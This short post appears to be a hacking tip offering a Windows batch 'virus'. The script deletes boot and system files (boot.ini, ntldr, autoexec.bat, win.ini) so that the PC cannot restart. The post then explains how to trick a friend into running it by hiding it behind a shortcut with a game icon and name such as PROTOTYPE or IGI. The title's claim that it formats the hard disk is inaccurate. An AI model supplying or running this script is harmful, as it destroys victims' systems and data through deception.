Virus to format your P.C's harddisk

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Open up notepad and copy and paste that. Save it as anything.bat file.While saving choose All Files in save as type option.
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.
Warning - Open this virus at your own risk!
How to spread - Copy the .bat folder on your friend"s P.C
Windows does'nt allow to change the icon of .bat files. Therefore what you can do is :
Right click on the .bat file
Click on CREATE SHORTCUT
And hide the original file.
Now as this newly created file is just the shortcut, you can easily change its icon. 
Right click on this shortcut
properties >>>..cutomize>>..choose icon
Now give an attractive icon to it. 
Now name it something intresting. eg. PROTOTYPE or IGI etc. 
Now your victim would think it to be the game , and he will be easily curropted.